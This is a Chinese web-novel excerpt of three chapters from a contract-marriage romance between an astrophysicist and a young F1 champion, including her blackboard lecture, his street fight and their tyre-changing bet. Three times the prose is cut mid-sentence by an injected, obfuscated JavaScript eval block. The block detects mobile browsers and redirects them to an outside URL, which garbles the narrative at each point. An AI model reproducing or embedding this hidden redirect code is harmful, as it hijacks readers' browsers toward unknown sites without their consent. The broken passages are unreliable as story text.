《木星引力[先婚后爱]》 1. For the stars * “阿木,U盘不见了。” 于茉的声音压得极低,却掩不住其中的惊慌。 温木停下脚步,于茉正手忙脚乱地翻着公文包。 “我记得明明放进来了,怎么找不到?” 温木看了眼手表,距离他们的天体物理学术报告开始还有七分钟。 她伸手按住于茉的肩膀:“别着急,你仔细想想,最后一次用U盘是在哪里?” 于茉锤着脑袋,片刻,恍然:“实验室!一定是落在实验室了。” 温木略微思考,果断决定:“你回去拿,我先上台。” “可是没有PPT你怎么讲解。” “没关系。”温木推了推鼻梁上的金丝眼镜,“我能应付,相信我。” 于茉咬了咬嘴唇,最终点头:“我二十分钟内赶回来。”说完便转身快步跑向电梯。 温木整理了一下西装领口,迈步走向报告厅。 报告厅内已座无虚席。 主持人看到她独自一人走来,眼中闪过一丝疑惑,但很快调整表情宣布:“在今天的报告开始之前,请允许我向大家介绍一下今天的主讲人,温木博士。” “温博士本硕就读于宁川大学天文系,硕士毕业后在苏黎世联邦理工学院就读博士,师从系外行星研究领域的泰斗Schneider教授。我们很荣幸,温博士能加入宁川大学天体物理研究中心。” “下面,有请温博士为我们带来《基于引力透镜效应的暗物质分布研究》报告。” 掌声响起,温木稳步走上讲台。 黑色西装剪裁考究,勾勒出女人清瘦挺拔的身形,内搭的白衬衫一丝不苟地扣到最上面一颗纽扣。 黑色长发在脑后挽成一个简洁的发髻,几缕碎发垂在耳际,衬得肤色愈发冷白。 温木的目光扫过台下近百位专家学者,神色平静如常。 讲台一侧立着一块可移动的大黑板,她走过去,双手握住黑板边缘,轻轻一拉—— “哗啦”一声,黑板展开,露出干净的黑色表面。 “温博士,您不需要PPT吗?”主持人小声询问。 温木从讲台抽屉里取出一盒粉笔,抽出一支白色的:“不必,谢谢。” 她转身面向黑板,抬手写下报告标题。粉笔与黑板摩擦发出清脆的声响,她手腕灵活,字迹工整有力。写完后,侧身让出空间。 台下一阵低声议论。 很少有人能在如此重要的学术会议上仅凭黑板进行报告了。 “各位下午好。”温木的声音不高,但清晰沉稳,“今天我将分享我们团队在暗物质分布研究中的最新发现。” 她没有多余的寒暄,直接切入主题。粉笔在黑板上流畅地画出一个星系示意图,随后是一连串复杂的数学公式。 讲解条理分明,从理论基础到观测数据再到模型验证,逻辑严密得如同一篇精心雕琢的论文。 “根据我们最新的引力透镜观测数据,这个区域的暗物质分布呈现出明显的——” “温博士。”一个男声突然打断了她。 温木停下粉笔,转向声音来源。 是前排一位约五十岁的男性学者,微胖,头发稀疏,正用略带挑衅的目光看着她。 温木认得这张脸,半年前在国际期刊编委会上,她取代这位教授成为了最年轻的编委成员。 “您提到的这个观测方法,是否考虑过背景星系的干扰效应?”男人大声提问,“据我所知,您使用的望远镜分辨率可能不足以区分前景与背景光源。“ “您的问题很有价值。”温木语气平静,既无恼怒也无讨好,“事实上,我们采用了三种独立的方法来校正这种干扰。” 她回到黑板前,迅速写下几个公式,“首先是基于红移的光谱分析法,其次是......” 她的解释专业而详尽,每个论点都有扎实的数据支持。秃头男人皱起眉头,几次想插话却找不到破绽。 温木将几个公式全部讲解完毕,利落地将粉笔扔回盒子,目光直视前排,嗓音冷淡:“科学探索就像观测暗物质,需要排除干扰项才能看清本质。” “因此我认为,在学术讨论中,有价值的质疑应当建立在专业素养和相互尊重的基础上。” “感谢您的提问。” 语毕,台下响起一阵热烈的掌声。 温木余光瞥见报告厅后门被轻轻推开,于茉气喘吁吁地出现在门口,手里紧握着那个蓝色U盘。 她不动声色地继续讲解完当前部分,然后自然地转向听众:“接下来关于数据分析的具体细节,请允许我的同事于茉博士为大家详细介绍。” 她向台侧退了一步,给于茉让出位置。 两人目光交汇的瞬间,于茉眼中闪过感激和歉意。温木几不可察地点了点头,示意一切顺利。 交接过程无缝衔接。 于茉插入U盘,投影仪亮起,PPT首页显示出来。温木站在一旁,偶尔补充几个关键点,但大部分时间保持沉默,给搭档充分的展示空间。 报告有惊无险地结束。几位学者围上来提问,温木和于茉耐心地配合着解答。 送走最后一位学者,两人收拾材料准备离开,一位白发老者走了过来。 “高老师。”温木和于茉同时问候。 高崇华教授是宁川大学天体物理系的元老,也是她们硕士期间的导师。虽已年近六十,但精神矍铄,目光锐利如昔。 “今天表现不错。”高崇华点点头,眼中流露出赞许,“临危不乱,行动果断。” 二人唇角微扬:“谢谢老师。” “不过,“高崇华压低声音,“下次记得备份。科研路上,运气总是眷顾有准备的人。“ “是,我们记住了。”于茉连忙应道。 走出报告厅,于茉长舒一口气:“阿木,今天多亏有你。我简直要吓死了,要是就我一个人,肯定要完蛋了。” “不会的。” “就算只有你一个人,结果也是一样。“温木平静地说,“你准备得很充分。” 于茉摇摇头:“但我不可能像你那样在黑板上写那么多公式,还一字不差。那个秃驴明显是故意刁难你,要是我在台上,肯定慌得说不出话。” 温木将粉笔灰从指尖拍掉:“你确实会说不出话,因为你能动手就不动口。” 两人相视一笑。 于茉挽上她的胳膊:“晚上咱出去吃吧,日料,我请客。” 温木略微迟疑,几秒后,老实承认:“今晚,也许不行。” “为什么?” “因为……” “我要去相亲。” * 温木最终还是没能去成相亲,被于茉拽着去了学校附近一家隐蔽的日料店。 推门而入,暖黄的灯光洒在深色原木装潢上,角落里的小型枯山水造景散发着禅意。 她们选了最里面的包厢,竹帘半垂,隔绝了外界视线。 服务员送上刺身拼盘和温好的清酒,于茉立刻给自己倒了一杯,一饮而尽。 谁能懂她知道温木答应家里去联姻,而且联姻对象还是宋家那个最混蛋的小儿子宋星燃,有多震撼! 宋家确实是宁川名门,祖上出过翰林,近代转型经商,产业遍布金融、地产。单论底蕴,比靠矿产发家的温家和做医疗器械的于家都深厚许多。 宋家如今的掌权人宋明深有三个儿子,长子、次子都按部就班接受精英教育,如今一个是知名主持人,顺便打理家中企业;另一个在投行工作,皆是一表人才。 唯独小儿子宋星燃,剑走偏锋去玩赛车,玩成了F1史上最年轻的冠军,也玩出了“混世魔王”的恶名。 于茉没见过宋星燃本人,只听说他基本不着家,就在外边野。 她表弟跟这位宋三少有些交情。用他的话说,宋星燃就是“帅得有型,浪得没边,野得要命。” 于茉搞不懂温志远和秦忆是怎么想的。夫妻二人就这么一个宝贝女儿,从小捧在手里怕摔了,含在嘴里怕化了,也是养出了温木这样清冷仙气的可人儿。 怎么到婚姻大事上反而失了智呢。 于茉还是不死心:“宝贝,像他这种玩赛车的男人,多半不靠谱,女朋友一周换一个那种,带不带病都不知道呢。叔叔阿姨怎么挑了他啊。” 温木轻轻抿了一口清酒,醇厚的米香在口中蔓延,带着微微的辛辣,神色平静:“是我挑的。” “噗——” 温木淡定地抽出纸巾擦去脸上酒渍,又帮好友擦擦嘴。 “我觉得,还好吧。”她悠悠继续。 “我看了他的检查报告,很健康。不着家,我更好做研究。至于玩得花,那就更好了,分财产我有利。” 虽然她也不缺那几个钱。 于茉扶额:“那夫妻生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223315|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活呢?你都奔三了,你没有需求啊。天天独守空房多寂寞。” 温木微微一笑:“没有人,不是还有工具吗。” 于茉彻底无语。 温木夹起一块金枪鱼大腹,油脂的香气在舌尖化开:“你别担心。商业联姻而已,各取所需。” “你还缺什么吗?” 于茉不解,在她看来,温木已经过上了最自由的人生——美貌有,知识有,财富有,爱情想有就有。 温木没有正面回答,只是又给自己倒了杯酒。 清酒入喉,带着淡淡的甜味,后劲却有些灼人。 “宋家答应赞助咱们天文系两栋新大楼,”她轻声道,“附带五台光谱仪和使用清慕山天文台的权限。” 于茉张了张嘴,一时语塞。她知道这些设备对温木的研究,对整个宁大天文系的研究意味着什么。 “而且,”温木继续道,“婚后我可以继续工作,不受限制。” 其实温木对于恋爱结婚这些事一直热情不高。 在她的备忘录里,研究永远是排在第一位的。如果有什么东西可以跟研究搭上关系,那么优先级就会提高。 出于某些原因,温木对年纪小的男人没有什么好感,尤其是像宋星燃这样“恶名在外”的男人。但选择他,也确实是几番考虑之后的结果。 她是独生女,自然要为爸妈考虑,她也不排斥结婚生子,只是以前没有过这种打算。既然已经决定将结婚提上日程,不如选择一个更能给自己事业助力的人。 尽管不是联姻对象本人助力,但也大差不差。结婚以后好吃好喝的待着就是了,也不需要他和她举案齐眉、如胶似漆。 “宋星燃就这么同意了?”于茉难以置信。 温木垂眼,搅动碗里的抹茶冰淇淋。 这个问题,其实她也不知道答案。 前几天母亲告知她联姻时,只说了“宋家已经安排妥当”,却只字未提那位少爷本人的态度。 绿莹莹的冰淇淋渐渐融化,像被夏日晒软的苔原。温木用勺子狠狠戳进甜蜜的中心。 想阻止她看见新天文大楼竣工,除非宋星燃能把整个宁川市从地图上抹去。 她才不管对方是什么赛道魔王还是情场恶鬼,她温木想要的东西,从来都要得到。 * 九点半,两人走出日料店。 春夜的城市像被雨水洗过的宝石匣子,霓虹灯在湿润的柏油路上碎裂成彩色玻璃。 于茉正低头叫车,巷口突然传来机车引擎的咆哮声。 “把我的包还来!”女孩带着哭腔的尖叫刺破夜空。 温木转头时,正好看见一道黑影将女孩推倒在地,抢过手提包冲向巷尾。下一秒,巷口的霓虹灯牌被人猛地拽下,“砰”地砸在抢劫者面前。 “跑你大爷!” 那道身影从阴影里跨出来,一双大手伸出,骨节分明,青筋暴起,此刻正揪着抢劫者的衣领将人提离地面。 黑色工装裤包裹着两条长腿,裤脚随意地塞进马丁靴里,上身短袖T恤因为动作绷紧,清晰地勾勒出背部肌肉的起伏线条。 “误会!大哥我错了!”抢劫者双腿在空中乱蹬。 男人充耳不闻,反手将人掼在墙上。巷口变幻的霓虹掠过他的侧脸,眉骨投下的阴影里,一双桃花眼淬着冷光,下颚线绷得像出鞘的刀,左耳的星星耳钉闪烁着蓝色的光。 “包。” 他松开手,抢劫者瘫软在地,哆哆嗦嗦递上战利品。 女孩惊魂未定地接过,男人已经转身走向日料店。 经过温木身边时,夜风送来淡淡的机油味混着薄荷的气息。眼角余光扫过来,她隐约看见男人右眉上有一道浅浅的疤。 睫毛轻颤,温木先移开视线。 “我去!”于茉掐她手臂,“阿木你快看,这身材真顶啊。” 她夸张地比划,“一只手就能把我抡飞吧?” 温木注视着那道走进日料店的背影,纠正:“半只手。” “他有多高?感觉得一米九了。” “188.8。” 于茉猛地扭头:“你怎么知道?你认识他啊?” 温木望向店内。暖黄灯光下,男人正仰头喝水,喉结随着吞咽上下滚动,脖颈处露出的星星纹身若隐若现。 她轻轻推了下微微滑落的眼镜,淡淡吐出四个字: “我准老公。” 2. For the stars 温木几乎是一眼就认出了宋星燃。 那张脸甚至能用漂亮来形容,和他健硕的身材完全不符。眉眼深邃,鼻梁高挺,衬得那双桃花眼更加勾人。他打架时绷紧的下颌线条凌厉,可偏偏唇角微微上扬,像是天生带着点玩世不恭的笑意。 天使的脸庞,魔鬼的身材。 温木在心里默默评价,随即收回视线。 她可以确定,宋星燃没认出她。 也就是说,他可能还不知道自己被安排了联姻这件事。 她忽然生出些老母亲般的怜惜。 真可怜,被蒙在鼓里。 车很快到了,温木和于茉道别。 她有驾照,但基本是个摆设,没开过几次。哪怕家里车库停着豪车任她选,也坚持坐公交来学校。 没什么别的原因,她晕车。晕到看到车就害怕,所以也不喜欢开。 尤其是私家车,人体的各种味道混合着香氛的味道挤在狭小的空间里,闷得人头晕。公交车要略好一些。 她倒有些佩服宋星燃,听说赛车手比赛完通常都是一身汗,还要在封闭的车厢里待那么久。 至少不是什么都不行的废柴。 * 回到家时,客厅的灯还亮着。 温母秦忆听到开门声,立刻从沙发上站起来:“枝枝,你总算回来了!给你打那么多电话都没接,还以为你出啥事了。” 温木放下包,淡淡道:“开了静音,没听见。” 她走到沙发旁坐下,温父温志远正戴着老花镜看报纸。凑近一看,财经日报。 温家到温志远这一代才富起来,说好听点,叫白手起家,说难听点,就是暴发户。温志远对自己的文化水平一直耿耿于怀,如今女儿成了博士,算是圆了他一桩心愿。 “今天一天都在学校呢?”温志远放下报纸,语气温和。 温木点头:“晚上跟于茉一起吃了饭。” “唉,读书苦哦,辛苦我宝贝女儿了。” 温木倒不觉得苦。她从小就喜欢天文,兴趣就是最好的老师,读到博士虽然偶尔疲惫,但从未想过放弃。 秦忆又提起结婚的事:“今晚你宋叔叔沈阿姨都来了,我瞧得出来,他们很喜欢你。” 温木从小性子沉静,待人接物有礼有节,学历又高,在长辈圈子里风评极好。 其实前几年就陆续有人提起联姻的事,但都被温志远挡回去了。夫妻二人一直没催过婚,让女儿安心读书。 可这两年,身边朋友的孩子大多谈了恋爱,有的甚至已婚已育,夫妻俩也渐渐着急起来。人到中年,谁不想当爷爷奶奶,享天伦之乐? 只是他们没想到,第一次跟女儿提联姻的事,她竟答应得这么干脆。秦忆心里反倒有些忐忑,怕女儿一时冲动,日后后悔。 “枝枝,你要不要再想想?”秦忆试探着问,“婚姻大事,不能草率。” 温木端起茶杯,抿了一口,轻声道:“我今晚吃饭的时候,看见他了。” 秦忆一愣:“谁?” “宋星燃。” 温志远和秦忆对视一眼,都有些意外。 商量结婚,结果要结婚的两个人都没来,只剩下两家父母大眼瞪小眼唠嗑。 光是想想那画面,都觉得好笑。 秦忆解释道:“你宋叔叔还没把这件事跟阿燃说呢,他没来也正常。” 温木放下茶杯,站起身:“我先回房间了,你们也早点休息。” 温木的房间是深色调的,灰蓝色的墙面,深褐色的实木书桌,书架上整齐排列着各类天文学专著。最特别的是天花板——她装了发光的星星灯带,晚上关掉主灯后,整个房间宛如置身银河。 这是她最喜欢的地方。 洗漱过后,温木坐到书桌前,打开电脑准备看文献。可今晚不知怎么回事,那些英文字母像是浮在屏幕上,怎么都进不了脑子。 她又想起男人那双眼睛。 桃花眼,看狗都深情。 犹豫片刻,她点开浏览器,输入“宋星燃”三个字。 五花八门的信息跳入眼帘: “F1最年轻冠军” “宁川宋家三少爷” “赛车界的疯批美人” 她往下翻了翻,发现花边新闻竟然没有想象中多,大多只是赛场上的照片,偶尔有几张和女伴的合影,但看起来都只是普通社交。 温木有些意外。 她确实认可于茉的话。玩赛车的,多半玩得花。 可宋星燃的资料,看起来还算干净。 也许只是假象? 不过,她确定了一件事—— 这是个难缠的角色。 想搞定新天文大楼,就必须先搞定他 * 宋星燃磨蹭到十点钟才回家,却不想一进门就撞上了父母俩。 宋明深和沈岁正襟危坐在沙发上,一个面色阴沉,一个面带忧色,一看便知是专门等他回来。 宋星燃瞥了一眼,脚步没停,径直往楼上走。 “站住。”宋明深沉声喝道。 宋星燃脚步一顿,懒洋洋地转过身,唇角勾起一抹玩世不恭的笑:“有何贵干啊,我尊敬的父亲大人?” 宋明深脸色更沉:“给你发消息让你今晚去温家吃饭,你吃哪去了?” 宋星燃略作思考,随即露出恍然大悟的表情,笑得更加欠揍:“哦,我吃刺身去了啊,受用的很。” “你!”宋明深猛地站起身,气得额角青筋直跳。 沈岁一把拦住他,使了个眼色让他闭嘴。她的儿子她最清楚,吃软不吃硬,硬碰硬只会适得其反。 “儿子,”沈岁走过去,牵起宋星燃的胳膊,皱眉道,“你这胳膊上怎么回事?” 宋星燃低头一看,手臂上有一道细长的划痕,估计是刚才打架时不小心蹭的。 他无所谓地耸耸肩,抽回手:“不小心划的,没多大事。” 沈岁叹气:“你啊,最让我们操心了。” 宋星燃:“是是是,大哥二哥不让你们操心,那你们给他们说亲去,别管我,省的让你们烦心。” 沈岁一把拽住他,硬是按到沙发上坐下:“这是哪里的话?你们三个都是我儿子,我还能偏心不成?” 宋星燃轻哼:“说不定呢。” 沈岁无奈,干脆直奔主题:“儿子,妈给你的那些资料和照片你看了没啊?你都不知道,小木那孩子多招人喜欢。” 宋星燃翻了个白眼:“您喜欢您娶了她呗。” 沈岁气得抬手敲他脑袋一下:“你这孩子瞎说什么呢!” 她开始絮絮叨叨地介绍温木——说她长得漂亮,身材好,性子乖,学历高,是宁川数一数二的大家闺秀。 宋星燃翘着二郎腿,左耳进右耳出。 “就是比你大了几岁,还在读书,是天文学的博士呢。” “什么?!” 男人瞬间炸毛。 他从小学习就不好,偏偏宋家是书香世家,为了读书这事儿,没少挨打。久而久之,他对那些只会死读书的书呆子深恶痛绝。 宋星燃脑海里立刻浮现出一个画面——戴着厚重眼镜、面无表情、张口闭口都是学术术语的无趣女人。 要他娶这样一个没劲的女人过一辈子? 打死他也不干! “你们是不是疯了?”宋星燃猛地站起身,声音拔高,“我连她长什么样都不知道,你们就让我娶她?” 宋明深冷笑:“照片不是给你看了吗?” 宋星燃:“谁要娶一个书呆子!你们能不能别干涉我的生活?我最烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223316|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人管着!” “管你?不管你能行吗?”宋明深一拍茶几,“你看看你,整天就知道赛车、打架,现在把自己搞受伤了,还没个正形!人家温木多优秀,是你配不上人家!” “优秀?呵,那你们让她去配大哥二哥啊!” “你——” 父子俩越吵越凶,宋星燃气得直接转身上楼,把房门摔得“砰”一声巨响。 宋明深在楼下怒吼:“宋星燃我告诉你,下次吃饭你要是再敢跑,我就把你的车一辆一辆刮花,我说到做到!” 宋星燃没理会,一脚踹开卧室门,目光扫到书桌上扣着的资料,估计是那个女人的个人介绍。 他冷笑一声,一把抓起来,三两下撕得粉碎,狠狠扔进垃圾桶。 想让他和这个书呆子结婚? 做梦! 他越想越气,抬脚就往墙角踹了一脚。 “靠!” 下一秒,男人倒抽一口凉气,疼得弯下腰,抱着脚低喘:“好疼。” * 第二次饭局很快被提上日程,定在下周六晚上。 温木答应得很爽快,反倒让沈岁有些惊讶。 “小木啊,阿燃上次没来,你不生气吗?”沈岁握着她的手,语气里带着歉意。 温木微微一笑:“阿姨,那天我也有事耽搁了,您别放在心上。缘分这种事,急不得,但既然两家都有这个心意,那总归是能成一家人的。” 她话说得滴水不漏,既给了宋家台阶下,又暗示自己对联姻并不排斥。沈岁听得心花怒放,心里喜欢的不得了。 晚上。 温木正在书房翻看最新的天体物理期刊,手机震动,屏幕上跳出沈岁的消息:【小木,这是阿燃的微信,你们年轻人先聊聊。】 她盯着那条消息思索片刻,还是决定主动加上。 她向来不喜欢端着,既然决定了要结婚,那就没必要扭捏。 宋星燃的微信头像是一团燃烧的火焰。 Lgnis,拉丁语,是火焰的意思。 签名也只有一句话——我的天赋,烧不尽。 倒是和他的人很像。 又狂又傲,还很二。 * 很快就到了两家见面的日子。 温木难得打扮了一番。 她平时几乎不化妆,倒不是不想,而是实在手残。她的手画天体运行图可以,画眼线却不行。 于茉曾毫不留情地嘲笑过她的化妆技术,说她能把美女化成“镁铝”。 温木一头雾水:“什么意思?” 于茉:“就是让你看了一头雾水的意思。” 从此以后,温木便彻底放弃尝试,今天也只是力所能及地描了眉,抹了口红。 她穿了一件黑色衬衫,领口解开两颗扣子,锁骨清晰、肌肤如雪。黑色长发放下来,没有多余的修饰,只露出手腕上一串拉丁文纹身。 一家人刚到酒店大堂,就看到宋家一行人已经坐在那里等候,连宋星燃的两个哥哥,宋应濯和宋铭栎都来了。 却偏偏,缺了宋星燃。 沈岁一见到温木,立刻快步上前,紧紧握住她的手,眼眶微红:“小木啊,阿姨对不起你啊。阿姨有件事要拜托你。” 温木一怔,但很快冷静下来:“沈姨,您说。” 沈岁从包里拿出一封信:“阿燃他,离家出走了。” 温木:“……?” 什么年代了还玩这一套? 沈岁把信塞进她手里:“这是他留下的,说是……给你的。” 温木低头,拆开信封。 里面只有三行字,龙飞凤舞,嚣张至极: “想结婚?行啊。” “自己来找我。” “赢了,我娶你;输了,滚蛋。” 3. For the stars 温木慢条斯理地合上信。 有意思。 看来要结这个婚,还是得亲自碰面较量一下。 沈岁紧张地问:“怎么样啊小木?阿燃他说什么了?” 温木浅浅一笑,语气温和:“您别担心沈姨,他没事。只是说,想跟我单独聊一下。” 她自然忽略了最后那句“滚蛋”。 弟弟年纪小,给他留一点面子吧。 沈岁忧心忡忡:“哎呀这孩子真是的……” “那,小木你现在去吗?” 温木点头:“我现在去吧,他不回家也不是个事儿,您和宋叔叔一直担心。” 沈岁和宋明深听了这话,越发觉得对不住温木,也越发觉得自己儿子混蛋。 宋明深已经在心里盘算,等那个浑小子回来后该罚他多少家法。 宋应濯和宋铭栎对视一眼,知道喜酒暂时是喝不上了。本就是特地抽空而来,现在一个主人公失踪,另一个要去抓人,这顿饭也吃得没劲,随即起身告辞。温父温母表示理解。 温木也告辞,只带了一部手机和那封信,时间紧急,只得拦下一辆出租车。 车上,她再次展开信纸。 要她去找他,连地址都不给? 指尖在屏幕上轻点,很快查到宁川国际赛车场的地址,向司机报了过去。 * 二十分钟后,出租车停下。 温木下车,头晕得难受。 好不容易缓过劲来,刚走到入口处就被保安拦住。 “抱歉小姐,这里是专属训练基地,外人不能随便进入。” 温木轻叹一口气,抬眸看向保安,声音沉静:“我是选手家属。” 保安狐疑地打量她:“哪个选手?” “宋星燃。” 保安瞪大眼睛,表情瞬间变得复杂起来。 他纠结了几秒,最终还是点头:“行吧,您跟我来。” 训练基地内,宽阔的赛道蜿蜒延伸,远处停着几辆改装赛车,引擎轰鸣声隐约传来。几个穿着红黑相间赛车服的高大身影正围在一起交谈,远远看去,个个都是宽肩窄腰、腿长逆天的类型。 宋星燃刚结束一轮训练,浑身是汗。他在一个月前的分站赛上受了点伤,现在还在休养,只能临时在这做恢复训练。 本来心情就不好,还被逼婚。真是祸不单行。 “靠!”他一把扯下头盔,黑发湿漉漉地贴在额前。 江望瞥了他一眼:“心情不好?” 宋星燃用力拽下手套,语气暴躁:“家里人逼婚,我离家出走了。” 余洋闻言,忍不住笑出声:“又离家出走?这次打算几天?” 宋星燃拧开矿泉水瓶,仰头灌了几口,水珠顺着锋利的下颌线滑落,滚过喉结,最后没入衣领。 他抬手抹了把嘴角,冷笑:“到那个女的自觉退婚为止。” “你们知道我爸妈给我找个什么样的吗?三十岁,女博士,读的还是他爹的天文学!这要是结婚了还得了?房子都要掀了!” “更何况——”他烦躁地抓了抓头发,“本少爷风华正茂,还没玩够呢,现在就进入婚姻的坟墓是怎么个事?” 越说越气,男人直接拽开赛车服拉链,一把将上衣扯了下来。 精悍的上身瞬间暴露在阳光下,肌肉线条分明,汗珠顺着腹肌滑落,没入裤腰边缘。 “这鬼天气,真是越来越热了。” 他刚抱怨完,一转身,一抹纤细的身影闯入视线。 黑色衬衫收束出女人清瘦的轮廓,黑发如瀑垂落,衬得肌肤如雪。她站在不远处,眉眼清冷,鼻梁上架着一副金丝眼镜,唇上一抹红,美得像是从画里走出来的仙子。 宋星燃愣住。 他仔细回忆了一下,确认自己没见过这人。 “谁女朋友?”他挑眉,环视一圈队友。 众人纷纷摇头,表示不是自己的。 男人双腿交叠,懒散地靠在身后的赛车上,上下打量着面前的女人,笑得散漫又痞气。 “你谁啊?” 温木看着他这副样子,心里好笑。 敢情不仅那天晚上没认出来,今天也没认出来? 他连自己未婚妻的照片都没看过,是扔垃圾桶了还是怎么着? 臭小子,一点都不知道尊重人。 女人站在逆光处,金丝眼镜后的目光平静如水,嗓音冷淡。 “宋叔叔让我带你回去结婚。” 全场寂静了三秒。 紧接着—— 江望一口水喷了出来。余洋手里的扳手“咣当”一声砸在地上。其他队员集体倒吸一口凉气,眼睛瞪得像铜铃,齐刷刷看向全场唯一“嫌疑人”。 宋星燃的表情彻底凝固了。 他死死盯着眼前的女人,脑子里轰隆一声,像是被雷劈了。 随即深吸一口气,强行冷静下来。 他眯起眼,扬起下巴,语气笃定:“说吧,我爸给了你多少钱?” 温木微微蹙眉:“什么?” 男人顿住一秒,扭过头去:“我爸给了你多少钱,让你来装我的联姻对象?演技不错啊。” 温木平静地看着他:“我没有装。” “我就是温木。” 宋星燃:“……” 他试图从女人脸上找出一丝破绽,可那双清冷的眼睛坦荡得让他心虚。 他僵硬地低头,看向她手里的信,忽然有种搬起石头砸自己脚的感觉。 周围队友已经憋笑憋得脸都红了,一个个肩膀疯狂抖动,就差没当场掏出瓜子看戏。 江望憋着笑,假装正经:“咳,阿燃,愿赌服输啊。” 宋星燃:“……” “那就比啊!”男人梗着脖子,硬气道。 温木微微勾唇:“你说话算话?” “君子一言,驷马难追。” “可我怎么觉得……” 她慢悠悠地上下打量他一眼,意味深长。 “你更像小人。” “小,人。”她又慢慢重复了一遍。 宋星燃被她看得浑身不自在,耳根莫名发烫。 “比什么?”温木问。 宋星燃想了想,比赛车肯定不行,这女人瘦不拉几的,万一出事了他还得负责。 “你懂车吗?”他挑眉。 温木点头:“一点点。” 宋星燃嗤笑一声,显然不信:“换轮胎怎么样?” 他瞄了一眼女人露在外面的胳膊,皮肤冷白,纤细得仿佛一折就断。 这能换轮胎? 别逗了。 温木却毫不犹豫:“可以,就比这个。” 周围爆发出一阵起哄声。 “哇哦——!” “嫂子牛!” “阿燃,别输啊!” 宋星燃:“……” 他狐疑地看着温木:“你确定?” “你这细胳膊细腿的,万一出事了,不会让我负责吧?” 温木轻笑:“我们很快就要结婚了,你对我负责,不可以吗?” “……” 男人的耳根“唰”地红了。 他猛地转身,语气凶巴巴的:“要比赶紧比!我赶时间!” 比赛开始。 两辆同型号赛车并排停好,轮胎拆卸工具摆在一旁。 “规则很简单,谁先换完轮胎,谁赢。” 宋星燃懒散地靠在车上,根本没把温木放在眼里。 他闭着眼都能赢。 “开始!” 宋星燃慢悠悠地拿起工具,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223317|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至还有闲心偷瞄一旁的女人。 然后,他愣住了。 温木的动作快得惊人。 她单膝跪地,手臂发力,扳手“咔”地拧松螺丝,动作干净利落,没有丝毫拖泥带水。 宋星燃瞪大眼睛。 她真会?! 他慌了,赶紧低头猛干,可温木已经卸下第一个轮胎了。 宋星燃开始手忙脚乱,螺丝差点飞到自己脸上。 周围队友已经笑疯了。 “星燃!你行不行啊!” “嫂子牛!碾压他!” “宋三少!你怎么输给业余选手啊!” 宋星燃大吼一声:“闭嘴!” 他咬牙切齿,拼命追赶,可温木始终领先一步。 最后—— “砰!” 温木将最后一个螺丝拧紧,站起身,拍了拍手上的灰。 “完成。” 江望:“温小姐胜。” 全场寂静一秒,随即爆发出震天的欢呼声。 “嫂子威武!!!” “宋星燃!你也有今天!” “哈哈哈哈哈哈笑死我了!” 宋星燃沉默不语,脸色铁青。 温木伸手捂着心脏,小口喘着气平复呼吸。 她常年泡在实验室,很少运动,体力确实不算好,还好这小子轻敌,让她险胜一局。 她抬眸,瞟了一眼对面的男人。 宋星燃正阴郁地盯着她,眉头紧锁,薄唇抿成一条直线,活像一只被抢了骨头的大型犬。 她心里痛快,嘴角忍不住微微上扬。 目光不经意扫过男人的身体,宽肩窄腰,肌肉线条紧实流畅,汗水顺着锁骨滑落,在阳光下泛着微光。 温木不得不承认,确实,很顶。 至少,比她在健身房看到的那些靠蛋白粉充气的肌肉,看起来更有吸引力。 她淡淡开口:“我赢了。” 宋星燃不说话,只是眼神幽怨地盯着她。 那表情,好像在哪里见过。 啊她想起来了,那只被主人骗去绝育的哈士奇。 温木挑眉:“你自己说的,说话算话。” 她环视一圈,周围队友立刻起哄附和:“听到了听到了!” 宋星燃把头一撇,双手抱胸,气鼓鼓的,连发梢都透着不爽。 真的像狗一样。 准确来说,像一只被惹毛了的萨摩耶——外表凶巴巴的,实则娇气得要命。 温木养过狗,越想越觉得像,忍不住弯起嘴角。 宋星燃瞥了一眼站在赛车旁的女人,眼神阴郁,朝着温木一步步走过去。 温木一怔,下意识往后退。 一步,两步—— 直到她的后背贴上冰凉的赛车车身,退无可退。 男人长臂一伸,直接将她圈在自己和赛车之间,俯身凑近。 温木呼吸一滞。 两人距离近得能感受到彼此的呼吸,男人身上混着汗水和机油的气息扑面而来,炽热又极具侵略性。 温木毫不畏惧,直直迎上他的目光。 “弟弟,”她轻声道。 “这种动作,已经很过时了。” 宋星燃眯起眼。 “我是成年男人,”他嗓音低哑,带着咬牙切齿的意味,“你当我小屁孩?” 温木平静反问:“你不是吗?” 宋星燃:“……” 他被噎住,一时竟找不到话反驳。 温木缓缓伸手,勾下挂在后视镜上的赛车服,轻轻贴到他胸前。 “再练练吧。” 